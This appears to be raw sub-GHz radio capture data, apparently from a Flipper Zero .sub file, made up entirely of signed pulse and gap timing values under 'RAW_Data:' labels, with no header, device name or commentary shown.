-1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1398 1799 -1402 3393 -3002 3403 -3002 1795 -1394 1797 -1400 1801 -1400 3403 -3002 3593 -1506 4053 -3028 3495 -2918 3323 -3148 3167 -3182 3185 -3192 3389 -2994 3401 -3004 3393 -3002 3401 -2994 3395 -3002 3401 -3002 3395 -3002 3393 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -3002 1801 -1400 1801 -1402 1799 -1402 3393 -3002 3401 -1402 1795 -2992 3401 -3002 1801 -1400 1801 -1398 3389 -1400 1801 -3002 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 3397 -3002 3401 -3002 1801 -1398 1795 -1402 1801 -1400 3393 -1402 1801 -5898 771 -378 2029 -2840 3559 -2776 3585 -2986 3395 -2994 3393 -3002 3403 -3002 3393 -3002 3393 -3004 3393 -3002 3401 -2998 3407 -2994 3401 -2994 3395 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -3002 1799 -1402 1801 -1396 1791 -1398 3403 -3002 3401 -1398 1795 -3002 3403 -2994 1799 -1402 -RAW_Data: 1795 -1398 3401 -1402 1801 -3002 1795 -1394 3403 -3004 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 3403 -3002 3401 -2994 1801 -1400 1795 -1400 3405 -3006 1795 -1394 3591 -3806 2201 -2824 3453 -2878 3493 -2908 3521 -2926 3349 -3164 3177 -3190 3387 -2990 3393 -2996 3401 -3006 3397 -2994 3403 -2994 3401 -2994 3401 -1402 1795 -1398 1801 -1400 1797 -1398 1799 -1402 1801 -3002 1795 -1398 1801 -1400 1795 -1398 3407 -3006 3393 -1398 1791 -2998 3403 -3002 1799 -1398 1791 -1398 3401 -1402 1801 -3002 3401 -2994 1801 -1400 1797 -1398 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 3401 -2996 3401 -3002 1795 -1394 1797 -1402 3401 -3002 3401 -5912 1929 -3004 3419 -3010 3411 -2996 3395 -2994 3401 -3002 3401 -2994 3407 -2998 3393 -2994 3403 -3002 3393 -3002 3401 -2996 3401 -2994 3401 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -3002 1797 -1394 1795 -1402 1801 -1400 3401 -3002 3403 -1396 1793 -2998 3401 -3002 1797 -1394 1795 -1402 3401 -1402 1799 -3004 3401 -1396 1793 -2998 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1797 -1400 1795 -1398 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 -RAW_Data: 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 3401 -2994 3403 -2994 1801 -1400 1801 -1400 3395 -1400 1801 -2994 3401 -2922 1031 -1104 1767 -3090 3163 -3166 3183 -3186 3393 -2994 3395 -3002 3401 -2994 3403 -3002 3397 -3006 3393 -2996 3401 -2994 3401 -2994 3403 -3002 3399 -1404 1795 -1394 1791 -1398 1801 -1400 1801 -1400 1801 -3002 1795 -1400 1799 -1402 1799 -1402 3407 -2996 3395 -1400 1795 -2992 3401 -3002 1801 -1402 1799 -1398 3389 -1402 1799 -1402 1799 -3004 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 3401 -3002 3403 -2994 1799 -1398 1797 -1400 3407 -1400 1791 -1394 1797 -8408 1655 -3216 3289 -3110 3319 -3136 3159 -3176 3185 -3200 3197 -3194 3389 -2996 3393 -2994 3401 -3002 3403 -2994 3401 -2994 3403 -3002 3397 -1404 1797 -1394 1795 -1402 1795 -1398 1801 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 3401 -3002 3401 -1398 1791 -3000 3401 -3002 1795 -1398 1801 -1402 3401 -1396 1793 -1398 1799 -3004 3405 -3006 1795 -1394 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 3393 -3002 3401 -2996 1799 -1402 3401 -3002 1795 -1394 1793 -1398 4403 -1594 579 -948 2021 -2944 3439 -3026 3417 -3002 3411 -3002 3401 -3002 3393 -3004 3401 -2994 3407 -2996 3399 -3006 3393 -2994 3395 -3002 3401 -2994 3401 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -3004 1795 -1394 1797 -1400 1801 -1400 3401 -3004 3393 -1400 1801 -3002 3395 -3002 1799 -1402 1795 -1394 3397 -1402 1801 -1400 1801 -1400 1801 -2994 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 -RAW_Data: 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 3401 -3004 3397 -3006 1795 -1394 3391 -3002 1799 -1402 3401 -7960 1797 -3000 3435 -3014 3415 -3004 3407 -3006 3393 -2994 3407 -3002 3397 -2994 3393 -3004 3393 -3002 3401 -2994 3403 -3002 3393 -3002 3393 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -3002 1799 -1402 1795 -1394 1797 -1400 3403 -3002 3405 -1400 1793 -2990 3403 -3002 1799 -1402 1795 -1398 3401 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -3002 1801 -1402 1795 -1398 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 3407 -3006 3393 -2994 1801 -1396 3391 -3006 3405 -2994 3803 -4598 1425 -3262 3367 -2984 3185 -3190 3391 -2994 3405 -3006 3393 -2996 3401 -2994 3393 -3002 3403 -2994 3401 -3002 3393 -3004 3401 -2994 3401 -1398 1797 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -3002 1801 -1402 1799 -1402 1795 -1394 3397 -3004 3401 -1400 1801 -2994 3401 -3004 1795 -1394 3397 -3002 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 -RAW_Data: 1791 -1398 1801 -1400 3401 -3002 3403 -2994 1799 -1402 3401 -2994 3407 -1400 1791 -4212 203 -2976 1877 -3038 3175 -3164 3353 -2932 3519 -3106 3309 -3122 3147 -3168 3183 -3182 3389 -2994 3395 -3002 3393 -3002 3395 -3006 3397 -2994 3401 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -3004 1795 -1394 1797 -1400 1801 -1400 3403 -2998 3405 -1396 1793 -2998 3403 -3002 1799 -1398 3397 -3002 1797 -1398 1799 -1402 1799 -1402 3407 -2996 1797 -1394 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 3403 -3002 3401 -3002 1795 -1394 3399 -1400 1801 -3002 1801 -1396 3397 -804 201 -2984 1719 -3010 3487 -2908 3515 -3134 3147 -3168 3183 -3186 3389 -2998 3399 -2994 3393 -3002 3407 -2998 3393 -2994 3401 -3004 3401 -2994 3393 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -2998 1805 -1398 1791 -1394 1797 -1400 3401 -3002 3403 -1400 1801 -2994 3401 -3002 1797 -1394 3397 -3002 1801 -1400 1801 -1402 3401 -2994 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 3393 -3002 3403 -2994 1799 -1402 3393 -1402 1799 -3004 3393 -3202 803 -3626 2215 -2456 3759 -2776 3585 -2990 3391 -2994 3393 -3002 3403 -2994 3401 -3002 3393 -3004 3393 -3006 3397 -2994 3403 -2994 3401 -3002 3395 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -3002 1799 -1402 1795 -1394 1797 -1400 3407 -3006 3393 -1398 1795 -3002 3403 -3002 1795 -1394 3397 -3002 1801 -1402 1799 -1398 3389 -1402 1799 -3002 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 -RAW_Data: 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 3403 -3002 3393 -3002 1801 -1400 3395 -1400 1801 -1396 1797 -3002 4211 -4018 1715 -2938 3433 -3018 3411 -3010 3401 -3002 3401 -3002 3407 -2998 3393 -3002 3395 -3002 3393 -3002 3393 -3004 3401 -3002 3393 -3002 3395 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -3002 1799 -1402 1795 -1394 1797 -1400 3403 -3002 3401 -1402 1795 -2992 3401 -3002 1801 -1400 3401 -2994 1801 -1402 3393 -3002 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 3403 -3002 3401 -3002 1795 -1394 3403 -1404 1795 -1394 1797 -1402 1799 -4574 383 -2458 2107 -3020 3263 -3042 3423 -3010 3405 -3006 3401 -3002 3407 -2998 3393 -2994 3403 -3002 3393 -3002 3393 -3004 3401 -2994 3401 -2994 3403 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -3006 1805 -1396 1791 -1398 1801 -1402 3401 -3002 3401 -1398 1791 -3000 3405 -3006 1795 -1394 3391 -3002 1799 -1402 3401 -3002 3401 -2996 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 3403 -2994 3401 -3002 3395 -3002 1799 -1398 1791 -1398 1801 -1400 3603 -838 437 -2646 1921 -2808 -RAW_Data: 3533 -2914 3495 -2868 3443 -3022 3417 -3002 3407 -3010 3401 -2998 3393 -2996 3393 -3002 3401 -2994 3403 -3006 3397 -2994 3407 -1400 1789 -1392 1797 -1402 1799 -1402 1799 -1402 1801 -3002 1795 -1394 1797 -1400 1801 -1400 3403 -3002 3393 -1402 1799 -3002 3395 -3002 1795 -1398 3401 -3002 1797 -1398 3401 -1400 1797 -2994 1805 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 3403 -2994 3401 -3002 3393 -3004 1795 -1398 1799 -1402 3393 -3804 421 -1492 221 -1726 1751 -3022 3331 -3148 3177 -3180 3185 -3194 3199 -3190 3393 -3002 3395 -3002 3393 -3002 3403 -2998 3405 -2998 3397 -2996 3393 -3002 3393 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -3002 1801 -1402 1795 -1394 1797 -1400 3401 -3002 3403 -1396 1793 -2998 3401 -3004 1799 -1402 3393 -3002 1801 -1396 3399 -1400 1801 -1400 1801 -2998 1805 -1396 1793 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1795 -1398 3401 -3002 3395 -3006 3397 -2994 1801 -1402 3401 -2994 3801 -416 429 -2326 1741 -2894 3367 -2982 3385 -2992 3393 -3002 3401 -2994 3403 -2994 3401 -2994 3403 -3002 3405 -2998 3393 -2996 3401 -2994 3401 -3002 3395 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -3002 1799 -1402 1801 -1400 1801 -1400 3395 -3002 3401 -1398 1791 -2998 3403 -3002 1801 -1400 3401 -2994 3403 -2998 1799 -1394 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 -RAW_Data: 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 3403 -2994 3401 -3006 3397 -2996 1799 -1398 3389 -1402 1799 -7642 1653 -2952 3443 -3022 3413 -3014 3411 -3006 3393 -3002 3407 -2996 3395 -2994 3401 -3002 3395 -2994 3401 -3002 3401 -2996 3401 -2994 3407 -1400 1791 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -3006 1801 -1392 1789 -1398 1801 -1400 3401 -3008 3405 -1396 1793 -2990 3403 -3006 1803 -1398 3389 -3002 3403 -2994 1799 -1402 3393 -3002 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 3401 -3004 3393 -3002 3401 -2994 3403 -3002 1795 -1394 4397 -596 1899 -1104 1803 -2886 3411 -3002 3401 -3002 3401 -3002 3403 -3002 3393 -3002 3403 -2998 3405 -2994 3393 -3004 3393 -2994 3401 -3002 3403 -2994 3401 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -3002 1795 -1396 1795 -1402 1799 -1402 3401 -3002 3395 -1400 1801 -3002 3393 -3002 1801 -1398 3389 -3002 3401 -3002 3395 -3002 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 3393 -3002 3401 -3004 3393 -3002 3393 -3002 3403 -3394 2509 -408 609 -1044 209 -420 1601 -3178 3319 -3096 3253 -3022 3419 -3014 3405 -3010 3403 -2996 3395 -2994 3401 -3002 3395 -2998 3405 -2994 3401 -3000 3397 -2994 3401 -1398 1791 -1398 -RAW_Data: 1801 -1400 1801 -1402 1799 -1402 1795 -2992 1799 -1402 1799 -1402 1801 -1396 3397 -3004 3401 -1400 1801 -2994 3401 -3004 1795 -1394 3397 -3002 3403 -3002 3393 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 3397 -3002 3403 -2994 3401 -2994 3403 -1400 1795 -2992 4001 -212 211 -424 845 -2058 1877 -3244 3181 -3188 3389 -2994 3401 -2996 3401 -2994 3401 -2994 3403 -3002 3393 -3002 3395 -3002 3401 -2994 3401 -2994 3403 -3002 3393 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -2990 1801 -1402 1799 -1402 1799 -1402 3401 -2994 3407 -1400 1791 -2992 3401 -3002 1801 -1402 3401 -2994 3401 -1402 1799 -2996 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1795 -1394 3397 -3002 3403 -3006 3397 -2994 3401 -1402 1801 -1396 1791 -8006 2651 -1824 3861 -2834 3417 -3014 3407 -3002 3401 -3002 3401 -3002 3395 